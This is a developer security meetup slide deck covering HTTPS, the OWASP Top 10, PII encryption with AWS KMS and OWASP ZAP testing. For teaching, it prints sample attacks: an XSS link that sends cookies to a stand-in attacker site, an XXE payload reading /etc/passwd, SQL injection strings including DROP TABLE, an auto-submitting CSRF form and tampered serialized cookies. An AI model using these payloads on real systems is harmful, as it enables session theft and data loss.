Ledingkart Meetup #3: Security Basics for Developers

Security Basics for Developers
Mukesh Singh, CTO @Lendingkart
Manish Singh, EM @Lendingkart
Chandramohan R, Senior Engineer @Lendingkart
Rishabh Gaur, SDET-3 @Lendingkart
14th July 2018

1. Security Overview - HTTPS, Authentication and more
3 PM to 3:30 PM
2. Common Security Vulnerabilities (Including OWASP Top 10)
Manish Singh, Engineering Manager @ Lendingkart
3:30 PM to 4:30 PM
3. Security Practices @ Lendingkart
Chandramohan R - Senior Engineer @ LK
4:45 PM to 5:15 PM
4. OWASP Zed Attack Proxy (ZAP)
5:15 PM to 5:45 PM
Agenda

Introduction to Security
14th July 2018

Security Requirements
• Confidentiality
– Preserving authorized restrictions on information access
and disclosure, including means for protecting personal
privacy and proprietary information.
• Integrity
– Guarding against information modifications or
destruction, including ensuring information non-
repudiation and authenticity.
• Availability
– Ensuring timely and reliable access to and use of
information

Some basic definitions
• Information Security
– Information security ensures that both physical and digital data is
protected from unauthorized access, use, disclosure, disruption,
modification, inspection, recording or destruction.
• Cyber Security
– Cybersecurity, a subset of information security, is the practice of defending
your organization’s networks, computers and data from unauthorized
digital access, attack or damage by implementing various processes,
technologies and practices.
• Network Security
– Network security, a subset of cybersecurity, aims to protect any data that is
being sent through devices in your network to ensure that the information
is not changed or intercepted.
• Application Security
– Application security, a subset of cybersecurity, aims to to improve the
security of an application often by finding, fixing and preventing security
vulnerabilities.

Network Security
• The role of network security is to protect the organization’s IT
infrastructure from all types of cyber threats including:
– Viruses, worms and Trojan horses
– Zero-day attacks
– Hacker attacks
– Denial of service attacks
– Spyware and adware
• Your network security team implements the hardware and
software necessary to guard your security architecture. There are
many components to a network security system that work together
to improve your security posture. The most common network
security components include:
– Firewalls
– Anti-virus software
– Intrusion detection and prevention systems (IDS/IPS)
– Virtual private networks (VPN)

Network Security vs Application Security
Network security consists of the policies and practices adopted to
prevent and monitor unauthorized access, misuse, modification, or
denial of a computer network and network-accessible resources.
Application security encompasses measures taken to improve the
security of an application often by finding, fixing and preventing
security vulnerabilities.

Security Services
• Authentication - assurance that the communicating
entity is the one claimed
• Access Control - prevention of the unauthorized use
of a resource
• Data Confidentiality –protection of data from
unauthorized disclosure
• Data Integrity - assurance that data received is as
sent by an authorized entity
• Non-Repudiation - protection against denial by one
of the parties in a communication

Web Security
• Web now widely used by business,
government and individuals
• Internet & Web are vulnerable and have a
variety of threats
–integrity
–confidentiality
–denial of service
–authentication
• Need added security mechanisms

How HTTPS Works ?
Have you noticed green lock in your web browser?
www.lendingkart.com
This lock is very important. It indicates that your browser has used
HTTPS to properly secure and authenticate your connection with a
website. HTTPS has three main goals:
• Privacy: Encrypting data such that anything in-between your
browser and the website cannot read your traffic.
• Integrity: Ensuring that the data received on either end has not
been altered unknowingly along the way.
• Authentication: Proving that the website your browser is talking
to is who they say they are.
HTTPS is nothing but HTTP over SSL

Secure Socket Layer (SSL)
• Transport layer security service
• Originally developed by Netscape
• Version 3 designed with public input
• Subsequently became Internet standard
known as TLS (Transport Layer Security)
• Uses TCP to provide a reliable end-to-end
service
• SSL has two layers of protocols

Brief History
Secure Socket Layer (SSL)

What is a Digital Certificate ?
A digital certificate (DC) is a digital file that
certifies the identity of an individual or
institution, or even a router seeking access to
computer- based information. It is issued by a
Certification Authority (CA), and serves the
same purpose as a driver’s license or a
passport.

What are Certification
Authorities?
Certification Authorities are the digital world’s
equivalent to passport offices. They issue digital
certificates and validate holders’ identity and
authority.
They embed an individual or institution’s public key
along with other identifying information into each
digital certificate and then cryptographically sign it
as a tamper-proof seal verifying the integrity of the
data within it, and validating its use.

What is the Process of obtaining a
certificate?
1.Subscriber (sender) generates a publicprivate key pair.
Applies to CA for digital certificate with the public key.
2.CA verifies subscriber's identity and issues digital certificate
containing the public key.
3.CA publishes certificate to public, on-line repository.
4.Subscriber signs message with private key and sends message
to second party.
5.Receiving party verifies digital signature with sender's public
key and requests verification of sender's digital certificate from
CA's public repository.
6.Repository reports status of subscriber's certificate.

Types of Digital Certificates
There are four main types of digital certificates :-
• Server Certificates
• Personal Certificates
• Organization Certificates
• Developer Certificates

What does a Digital Certificate
Contain?
It contains your name, a serial number, expiration
date, a copy of the certificate-holder's public key
(used for encrypting messages and digital
signatures), and the digital signature of the
certificate-issuing authority so that a recipient
can verify that the certificate is real. Some digital
certificates conform to the X.509 standard.

Why are the used?
There are four main uses:
1.Proving the Identity of the sender of a transaction
2.Non Repudiation – the owner of the certificate cannot
deny partaking in the transaction
3.Encryption and checking the integrity of data -
provide the receiver with the means to encode a reply.
4.Single Sign-On - It can be used to validate a user and
log them into various computer systems without having
to use a different password for each system

Significant Cyber Incidents
• WannaCry Cyber Attack
What some have called “the worse ransomware attack ever” struck in
May 2017, infecting an estimated 300,000 computer systems just four
days. WannaCry was similar to many ransomware attacks, i.e. it
encrypted files and demanded a Bitcoin payment to decrypt them.
• Heartbleed 2014
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
cryptographic software library.
• Comprehensive List
https://www.csis.org/programs/cybersecurity-and-
governance/technology-policy-program/other-projects-cybersecurity

OWASP(Open Web
Application Security Protocol)
Top 10
Manish Singh, EM @Lendingkart
14th July 2018

Top 10 Vulnerabilities
A1: Injection
A2: Broken Authentication
A3: Sensitive Data Exposure
A4: XML External Entities (XXE)
A5: Broken Access Control
A6: Security Misconfiguration
A7: Cross-Site Scripting (XSS)
A8: Insecure Deserialization
A9: Using Components with
Known Vulnerabilities
A10: Insufficient Logging &
Monitoring
A11: Cross Site Request Forgery (CSRF / XSRF) (Dropped)
A12: Unvalidated Redirects & Forwards (Dropped)

OWASP 2013 vs 2017
OWASP Top 10 - 2013 (Previous Version)
A1-Injection
A2-Broken Authentication and Session Management
A3-Cross-Site Scripting (XSS)
A4-Insecure Direct Object References - [Merged +
A7]
A5-Security Misconfiguration
A6-Sensitive Data Exposure
A7-Missing Function Level Access Control - [Merged
+ A4]
A8-Cross-Site Request Forgery (CSRF) [Dropped]
A9-Using Components with Known Vulnerabilities
A10-Unvalidated Redirects and Forwards [Dropped]
⇒ OWASP Top 10 - 2017 (Current Version)
⇒ A1:2017-Injection
⇒ A2:2017-Broken Authentication
⇘ A3:2017-Sensitive Data Exposure
∪ A4:2017-XML External Entities (XXE)
[NEW]
⇘ A5:2017-Broken Access Control
[Merged]
⇗ A6:2017-Security Misconfiguration
∪ A7:2017-Cross-Site Scripting (XSS)
☒ A8:2017-Insecure Deserialization [NEW,
Community]
⇒ A9:2017-Using Components with Known
Vulnerabilities
☒ A10:2017-Insufficient Logging &
Monitoring [NEW, Community]

A12: Unvalidated Redirects &
Forwards (Dropped)

To: team@reynholm.co.uk
Subject: New Pages Launched
Dear Team,
A new set of fantastic pages has been launched on the
website. Please click here to see this new wonderful
content!
Douglas Reynholm
THE BOSS

Prevention
• Whitelist the possible URLs that you want to allow redirects
to
• Check for the domain name of the URL that you are
redirecting to. Should be the same as your domain in most
cases

A11: Cross Site Request Forgery
(CSRF / XSRF) (Dropped)

CSRF
http:// payroll.reynholm.co.uk/
transfer/?from=m.moss &sort=54-22-
16&account=1552559&amount=1000.00
Because Cookies!

CSRF on POST forms
<iframe style="display:none" name="csrf-
frame"></iframe> <form method='POST'
action='http://vulnerablesite.com/form.php'
target="csrf-frame" id="csrf-form">
<input type='hidden' name='criticaltoggle'
value='true'> <input type='submit' value='submit'>
</form> <script>document.getElementById("csrf-
form").submit()</script>

CSRF False Preventions
• X-Frame-Options: SAMEORIGIN This
will prevent clickjacking to some extent but
not CSRF
• Using POST will not help
• Allowing user interaction is not user friendly

CSRF Prevention
1. Check CSRF token (requires session state)
2. Check standard headers to verify the request is same origin
a. Determining source origin
• Origin Header
• Referer Header
b. Determining target origin (hostname)
When behind proxy:
• Configure your application to simply know its target
origin
• Use the Host header value
• Use the X-Forwarded-Host header value

Monitoring

Insufficient Logging & Monitoring
• Auditable events, such as logins, failed logins,
and high-value transactions are not logged.
• Warnings and errors generate no,
inadequate, or unclear log messages.
• Logs of applications and APIs are not
monitored for suspicious activity.
• Logs are only stored locally.

How to Prevent
• Ensure all login, access control failures, and server-side input
validation failures can be logged with sufficient user context to
identify suspicious or malicious accounts, and held for sufficient
time to allow delayed forensic analysis.
• Ensure that logs are generated in a format that can be easily
consumed by a centralized log management solutions.
• Ensure high-value transactions have an audit trail with integrity
controls to prevent tampering or deletion, such as append-only
database tables or similar.
• Establish effective monitoring and alerting such that suspicious
activities are detected and responded to in a timely fashion.
• Establish or adopt an incident response and recovery plan

Heartbleed
Heartbleed is a security bug in the OpenSSL cryptography
library, which is a widely used implementation of the Transport
Layer Security (TLS) protocol. It was introduced into the software
in 2012 and publicly disclosed in April 2014. Heartbleed may be
exploited regardless of whether the vulnerable OpenSSL
instance is running as a TLS server or client. It results from
improper input validation (due to a missing bounds check) in the
implementation of the TLS heartbeat extension,[3] thus the bug's
name derives from heartbeat

Heartbleed
At the time of disclosure, some 17% (around half a million) of
the Internet's secure web servers certified by trusted authorities
were believed to be vulnerable to the attack, allowing theft of
the servers' private keys and users' session cookies and
passwords.

Heartbleed
Version 1.0.1g of OpenSSL adds some bounds checks to prevent
the buffer over-read. For example, the following test was
introduced to determine whether a heartbeat request would
trigger Heartbleed; it silently discards malicious requests.
if (1 + 2 + payload + 16 > s->s3->rrec.length) return 0;
/* silently discard per RFC 6520 sec. 4 */

• Java: Maven / Gradle
• Bower
• NPM
• Aptitude (apt-get)
• Composer
Using Components with Known
Vulnerabilities

• The National Vulnerability Database (NVD), is a database for
security vulnerabilities. The database is maintained by the
National Institute of Standards and Technology (NIST), an
American federal agency, which also standardises well-
known encryption algorithms such as DES and AES.
• The OWASP offers an application that checks JAR files with
the NVD automatically. This “OWASP Dependency-Check”
(DChck) has been implemented for command lines as well as
for Ant, Maven, Gradle, SBT, Jenkins and SonarQube.
Vulnerabilities

mvn org.owasp:dependency-check-maven:1.4.0:aggregate
Vulnerabilities

• Remove unused dependencies, unnecessary
features, components, files, and documentation.
• Continuously monitor sources like CVE
(Common Vulnerabilities and Exposures) and
NVD (National Vulnerability Database) for
vulnerabilities in the components. Use software
composition analysis tools to automate the
process. Subscribe to email alerts for security
vulnerabilities related to components you use.
How to Prevent

• Only obtain components from official sources
over secure links. Prefer signed packages to
reduce the chance of including a modified,
malicious component.
• Monitor for libraries and components that are
unmaintained or do not create security patches
for older versions.
How to Prevent

Insecure Deserialization
Scenario #1: A React application calls a set of Spring Boot
microservices. Being functional programmers, they tried to
ensure that their code is immutable. The solution they came
up with is serializing user state and passing it back and forth
with each request. An attacker notices the "R00" Java object
signature (base64 encoded format), and uses the Java Serial
Killer tool to gain remote code execution on the application
server.

Scenario #2: A PHP forum uses PHP object serialization to save a
"super" cookie, containing the user's user ID, role, password
hash, and other state:
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
An attacker changes the serialized object to give themselves
admin privileges:
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

Scenario #3: Insecure code execution in competitive
programming websites similar to CodeChef / HackerEarth /
HackerRank

How to Prevent
● Implementing integrity checks such as digital signatures on any serialized
objects to prevent hostile object creation or data tampering.
● Enforcing strict type constraints during deserialization before object creation
as the code typically expects a definable set of classes. Bypasses to this
technique have been demonstrated, so reliance solely on this is not advisable.
● Isolating and running code that deserializes in low privilege environments
when possible.
● Log deserialization exceptions and failures, such as where the incoming type is
not the expected type, or the deserialization throws exceptions.
● Restricting or monitoring incoming and outgoing network connectivity from
containers or servers that deserialize.
● Monitoring deserialization, alerting if a user deserializes constantly.

Cross-Site Scripting (XSS)
Reflected XSS: The application or API includes unvalidated and
unescaped user input as part of HTML output. A successful
attack can allow the attacker to execute arbitrary HTML and
JavaScript in the victim’s browser
Stored XSS: The application or API stores unsanitized user input
that is viewed at a later time by another user or an
administrator. Stored XSS is often considered a high or critical
risk.
DOM XSS: JavaScript frameworks, single-page applications, and
APIs that dynamically include attacker-controllable data to a
page are vulnerable to DOM XSS. Ideally, the application would
not send attacker-controllable data to unsafe JavaScript APIs.

<a href=“
http://reynholm.co.uk/search.php?
term=cats”>
Click here for free videos of cats
falling off
tables
</a>

<a href=“
http://reynholm.co.uk/search.php?term=
<script>window.location=‘http://mynastys
ite.com/?
cookie='+document.cookie;</script>
”>
Click here for free videos of cats
falling off
tables
</a>

XSS helps CSRF
Cross-Site Scripting is not necessary for CSRF to work. However,
any cross-site scripting vulnerability can be used to defeat token,
Double-Submit cookie, referer and origin based CSRF defenses.
This is because an XSS payload can simply read any page on the
site using a XMLHttpRequest and obtain the generated token
from the response, and include that token with a forged request.
This technique is exactly how the MySpace (Samy) worm
defeated MySpace's anti-CSRF defenses in 2005, which enabled
the worm to propagate. XSS cannot defeat challenge-response
defenses such as Captcha, re-authentication or one-time
passwords.

How to Prevent
● Using frameworks that automatically escape XSS by design,
such as the latest Ruby on Rails, React JS, Angular.
● Escaping untrusted HTTP request data based on the
context in the HTML output (body, attribute, JavaScript,
CSS, or URL)
● Applying context-sensitive encoding (HTML entity, URL,
JavaScript, etc.) when modifying the browser document on
the client side acts against DOM XSS.

Most Common

Security Misconfiguration
Scenario #1: The application server comes with sample
applications that are not removed from the production
server. These sample applications have known security
flaws attackers use to compromise the server. If one of
these applications is the admin console, and default
accounts weren't changed the attacker logs in with default
passwords and takes over.

Scenario #2: The application server's configuration allows
detailed error messages, e.g. stack traces, to be returned
to users. This potentially exposes sensitive information or
underlying flaws such as component versions that are
known to be vulnerable.

Scenario #3: A cloud service provider has default sharing
permissions open to the Internet by other CSP users. This
allows sensitive data stored within cloud storage to be
accessed.

How to Prevent
● A repeatable hardening process that makes it fast and easy to
deploy another environment that is properly locked down.
Development, QA, and production environments should all be
configured identically, with different credentials used in each
environment. This process should be automated to minimize the
effort required to setup a new secure environment.
● A minimal platform without any unnecessary features,
components, documentation, and samples. Remove or do not
install unused features and frameworks.

How to Prevent
● A task to review and update the configurations appropriate to all
security notes, updates and patches as part of the patch
management process. In particular, review cloud storage
permissions (e.g. S3 bucket permissions).
● A segmented application architecture that provides effective,
secure separation between components or tenants, with
segmentation, containerization, or cloud security groups (ACLs).
● Sending security directives to clients, e.g. Security Headers.
● An automated process to verify the effectiveness of the
configurations and settings in all environments.

(Merged from OWASP 2013: Missing Function Level Access
Control & Insecure Direct Object References)

Broken Access Control
Scenario #1: The application uses unverified data in a SQL call
that is accessing account information:
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
An attacker simply modifies the 'acct' parameter in the browser
to send whatever account number they want. If not properly
verified, the attacker can access any user's account.
http://example.com/app/accountInfo?acct=notmyacct

Broken Access Control
Scenario #2: An attacker simply force browses to target URLs.
Admin rights are required for access to the admin page.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
If an unauthenticated user can access either page, it’s a flaw. If a
non-admin can access the admin page, this is a flaw.

How to Prevent
• With the exception of public resources, deny by default.
• Implement access control mechanisms once and re-use them
throughout the application, including minimizing CORS
usage.
• Model access controls should enforce record ownership,
rather than accepting that the user can create, read, update,
or delete any record.
• Log access control failures, alert admins when appropriate
(e.g. repeated failures).
• JWT tokens should be invalidated on the server after logout.

XML External Entities (XXE)
Login XML request:
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
Response:
You have logged in as user Ed

Scenario #1: The attacker attempts to extract /etc/passwd data
from the server:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

Scenario #1: The attacker attempts to extract /etc/passwd data
from the server:
You have logged in as user
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr
/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
...

Scenario #2: An attacker probes the server's private network by
changing the above ENTITY line to:
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

Scenario #3: An attacker attempts a denial-of-service attack by
including a potentially endless file:
<!ENTITY xxe SYSTEM "file:///dev/random" >]>

How to Prevent
● Whenever possible, use less complex data formats such as
JSON, and avoiding serialization of sensitive data.
● Patch or upgrade all XML processors and libraries in use by
the application or on the underlying operating system. Use
dependency checkers. Update SOAP to SOAP 1.2 or higher.
● Disable XML external entity and DTD processing in all XML
parsers in the application, as per the OWASP Cheat Sheet
'XXE Prevention'.

Sensitive Data Exposure
Scenario #1:
An application encrypts credit card numbers in a database
using automatic database encryption. However, this data is
automatically decrypted when retrieved, allowing an SQL
injection flaw to retrieve credit card numbers in clear text.

Scenario #2:
A site doesn't use or enforce TLS for all pages or supports weak
encryption. An attacker monitors network traffic (e.g. at an
insecure wireless network), downgrades connections from
HTTPS to HTTP, intercepts requests, and steals the user's
session cookie. The attacker then replays this cookie and
hijacks the user's (authenticated) session, accessing or
modifying the user's private data. Instead of the above they
could alter all transported data, e.g. the recipient of a money
transfer.

Scenario #3:
The password database uses unsalted or simple hashes to
store everyone's passwords. A file upload flaw allows an
attacker to retrieve the password database. All the unsalted
hashes can be exposed with a rainbow table of pre-calculated
hashes. Hashes generated by simple or fast hash functions may
be cracked by GPUs, even if they were salted.

How to Prevent
• Classify data processed, stored or transmitted by an
application. Identify which data is sensitive according to
privacy laws, regulatory requirements, or business needs.
• Don't store sensitive data unnecessarily. Discard it as soon
as possible or use PCI DSS compliant tokenization or even
truncation. Data that is not retained cannot be stolen.
• Make sure to encrypt all sensitive data at rest.

How to Prevent
• Ensure up-to-date and strong standard algorithms,
protocols, and keys are in place; use proper key
management.
• Disable caching for response that contain sensitive data.
• Store passwords using strong adaptive and salted hashing
functions with a work factor (delay factor), such as Argon2,
scrypt, bcrypt or PBKDF2.

Broken Authentication
Scenario #1:
Credential stuffing, the use of lists of known passwords, is a
common attack. If an application does not implement
automated threat or credential stuffing protections, the
application can be used as a password oracle to determine if
the credentials are valid.

Scenario #2:
Most authentication attacks occur due to the continued use of
passwords as a sole factor. Once considered best practices,
password rotation and complexity requirements are viewed as
encouraging users to use, and reuse, weak passwords.
Organizations are recommended to stop these practices per
NIST 800-63 and use multi-factor authentication.

Scenario #3:
Application session timeouts aren't set properly. A user uses a
public computer to access an application. Instead of selecting
“logout” the user simply closes the browser tab and walks
away. An attacker uses the same browser an hour later, and
the user is still authenticated.

How to Prevent
• Where possible, implement multi-factor authentication to
prevent automated, credential stuffing, brute force, and
stolen credential re-use attacks.
• Do not ship or deploy with any default credentials,
particularly for admin users.
• Implement weak-password checks, such as testing new or
changed passwords against a list of the top 10000 worst
passwords.
• Align password length, complexity and rotation policies

How to Prevent
• Ensure registration, credential recovery, and API pathways
are hardened against account enumeration attacks by
using the same messages for all outcomes.
• Limit or increasingly delay failed login attempts. Log all
failures and alert administrators when credential stuffing,
brute force, or other attacks are detected.
• Use a server-side, secure, built-in session manager that
generates a new random session ID with high entropy after
login. Session IDs should not be in the URL, be securely
stored and invalidated after logout, idle, and absolute
timeouts.

A1: Injection
14 Years of SQL Injection and still the most
dangerous vulnerability

Injection
Scenario #1: An application uses untrusted data in the
construction of the following vulnerable SQL call:
String query = "SELECT * FROM user WHERE
username='" + request.getParameter("username") +
"' AND password = '" +
request.getParameter("password") + "'";

Injection
Scenario #1: An application uses untrusted data in the
construction of the following vulnerable SQL call:
String query = "SELECT * FROM user WHERE
username='" + request.getParameter("username") +
"' AND password = '" +
request.getParameter("password") + "'";
username = moss
password = any' OR 1 = 1; --

Injection
news.php?news_id=;DROP TABLE news;

How to Prevent
● The preferred option is to use a safe API, which avoids the
use of the interpreter entirely or provides a parameterized
interface, or migrate to use Object Relational Mapping
Tools (ORMs).
● For any residual dynamic queries, escape special characters
using the specific escape syntax for that interpreter.
● Restrict operations to the database user being used by the
applications. e.g Don’t give privileges to ALTER, DROP, etc.

Indian Railways 2018-05 French researchers highlight security flaws in Indian
Railways portals
Facebook 2016-04 Researcher finds backdoor that accessed Facebook
employee passwords
Shamshabad engineering
college
2018-05
Engineering students hack college website
IIT-Delhi 2018-03
Kerala youth picks security flaw in IIT-Delhis web server
Joomla 2018-02 Joomla 3.2.4 release addresses three XSS and SLI Injection
vulnerabilities
Zoho 2018-01
Multiple critical flaws found in Zoho MANAGEENGINE
Wordpress 2017-10 If your websites use WordPress, put down that coffee and
upgrade to 4.8.3
LinkedIn 2012-06 LinkedIn hack and lessons for your company Update:
LinkedIn Confirms Account Passwords Hacked
Instagram 2016-05 Facebook Rewards Instagram User 000: Finnish Boy Found
Error That Allowed Him To Delete Comments
GoDaddy 2017-10
This bug let a researcher bypass GoDaddy's site security tool
SQLi Hall-of-Shame

Possible Consequences #1
Heartland Payment Systems
Date: March 2008
Impact: 134 million credit cards exposed through SQL injection to install spyware on
Heartland's data systems.
Details: At the time of the breach, Heartland was processing 100 million payment card
transactions per month for 175,000 merchants – most small- to mid-sized retailers. It
wasn’t discovered until January 2009, when Visa and MasterCard notified Heartland
of suspicious transactions from accounts it had processed.
Among the consequences were that Heartland was deemed out of compliance with
the Payment Card Industry Data Security Standard (PCI DSS) and was not allowed to
process the payments of major credit card providers until May 2009. The company
also paid out an estimated $145 million in compensation for fraudulent payments.

Possible Consequences #2
In September 2016, Yahoo while in negotiations to sell itself to Verizon, announced it
had been the victim of the biggest data breach in history, in 2014. The attack
compromised the real names, email addresses, dates of birth and telephone numbers
of 500 million users.
A couple of months later, Yahoo disclosed that it had compromised 1 billion accounts.
In October of 2017, Yahoo revised that estimate, saying that, in fact, all 3 billion user
accounts had been compromised.
The breaches knocked an estimated $350 million off Yahoo’s sale price. Verizon
eventually paid $4.48 billion for Yahoo’s core Internet business.
Yahoo, founded in 1994, had once been valued at $100 billion. After the sale, the
company changed its name to Altaba, Inc.

Recap
A1: Injection
A2: Broken Authentication
A3: Sensitive Data Exposure
A8: Insecure Deserialization
Monitoring
A11: Cross Site Request Forgery (CSRF / XSRF) (Dropped)
A12: Unvalidated Redirects & Forwards (Dropped)

References
https://www.owasp.org/index.php/Top_10-2017_Top_10
https://codecurmudgeon.com/wp/sql-injection-hall-of-shame/
https://www.csoonline.com/article/2130877/data-breach/the-biggest-data-breaches-of-the-21st-century.html
https://www.dropbox.com/s/f26q6ay7n9vru2d/Owasp%20Top%2010%20-
%20PHPUK%202015%20Gary%20Hockin.pdf?dl=0
https://www.triology.de/en/blog-entries/automatic-checks-for-vulnerabilities-in-java-project-dependencies
https://resources.infosecinstitute.com/securing-cookies-httponly-secure-flags/
https://en.wikipedia.org/wiki/Heartbleed

Securing PII Data and
Other Data at Rest
Chandramohan R, SDE-2 @Lendingkart
14th July 2018

What is Personally Identifiable
Information ?
Personally identifiable information (PII) is any
data that could potentially identify a specific
individual.
Example: Email, Mobile number, Address, PAN,
Aadhar, etc.

PII Types
- Non sensitive
Can be gathered from public records, phone books, corporate
directories and websites. Example: Name, Gender, Job, etc.
- Sensitive
Sensitive PII is information which, when disclosed, could result
in harm to the individual whose privacy has been breached. Sensitive
PII should therefore be encrypted in transit and when data is at rest.
It includes biometric information, medical information,
personally identifiable financial information (PIFI) and unique
identifiers such as passport, PAN, Aadhar numbers.

Encryption and Decryption Of PII
data at Lendingkart

AWS Key Management Service (KMS)
AWS KMS is a managed service that makes it
easy for you to create and control the
encryption keys used to encrypt your data,
and uses FIPS 140-2 validated hardware
security modules to protect the security of
your keys.

Why AWS KMS ?
● Fully Managed
● Centralized Key Management
● Built-in Auditing
● Compliance

How data is secured ?
● Customer master key or Master Key
○ Multiple keys possible
○ Can be rotated on timely basis
○ Data keys are encrypted using master key
○ Not available outside of AWS, only alias are
provided by clients.
● Data key
○ Key which is used for encryption and
decryption of data

How data is secured ?
● Symmetric Key Encryption on data
○ Same datakey used for encryption and
decryption.
● Envelope encryption on key(data key) used to
encrypt data
○ Datakey is encrypted with masterkey.

Encryption
● Application passes plaintext data to be encrypted
and master key provider.
● Master key provider is used to get the master key
● Master key is used to generate a data key
● Server returns the plaintext and encrypted data
keys.
● Plaintext data key is used to encrypt the data, and
then the plaintext data key discarded
● Finally, encrypted message contains the encrypted
data and the encrypted data key.

Decryption process
● Application passes an encrypted message to be
decrypted with the Master key provider.
● The decryption method extracts the encrypted
data key from the encrypted message.
● Master key is used to decrypt the encrypted data
key.
● Plaintext data key is used to decrypt the data, then
the plaintext data key is discarded.

Encryption Context ?
● key–value pairs that can contain additional contextual
information about the data.
● Encrypted and stored along with encrypted data.
● Same context for decryption to be successful.
Example:
Data:
id: 123, pan: xxxx
Encryption context:
{“pK”:”123”}
● Avoids "confused deputy attack".

Implementing Search on
Encrypted Data?

Implementing Search on Encrypted Data?
● Storing hash Static-key Hash along with data.
● Expose API - “/search/{PII_TYPE}/{PLAIN_TEXT}/“
○ Generate hash
○ Return list of id’s matching hash
id encryptedD
ata
hash type
123 x xxxx PAN
124 y yyyy AADHAR
125 z xxxx PAN

When AWS KMS goes
down ?
Scenarios: when master key is lost, KMS service is down

High Availability
● Google Cloud KMS is used as secondary.
● Encryption
○ Async call to encrypt when AWS KMS call is
successful.
○ Fallback to Cloud KMS and make AWS KMS
call async.
● Decryption
○ Cloud KMS used as fall back over AWS KMS
failure due to network, server error, etc.
Using Bigqueue and ScheduledExecutor for async tasks.

● RDS Encryption
● AWS S3
● Volume encryption
Data at Rest

OWASP Zed Attack Proxy
(ZAP)
14th July 2018

Why OWASP ZAP?
● Zed Attack Proxy(ZAP) - Penetration testing
tool
● Open source and cross platform
● Easy to use and install (just require java
installation)
● Provides good API for programming
● Easily integrate with existing selenium
framework.

Integration With Selenium Test
Scripts
Proxy proxy = new Proxy();
proxy.setAutoDetect(false);
proxy.setProxyType(ProxyType.MANUAL);
proxy.setHttpProxy(“localhost:8080”);
DesiredCapabilities capabilities = new DesiredCapabilities();
capabilities.setCapability(CapabilityType.PROXY, proxy);
WebDriver driver = new FirefoxDriver(service.getUrl(), capabilities);

Framework Coverage
• Injection
• Cross-Site Scripting (XSS)
• Broken Authentication And Session Management
• Insecure Direct Object References
• Cross -Site Request Forgery(CSRF)
• Security Misconfiguration
• Missing Function Level Access Control
• Invalid Redirects And Forwards

Zap Scan Report
• Active, passive scans
• Generated detailed vulnerabilities report:
– Available in HTML and XML formats
– Customizable based on requirements.

Ledingkart Meetup #3: Security Basics for Developers

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to Ledingkart Meetup #3: Security Basics for Developers

Similar to Ledingkart Meetup #3: Security Basics for Developers (20)

Recently uploaded

Recently uploaded (20)

Ledingkart Meetup #3: Security Basics for Developers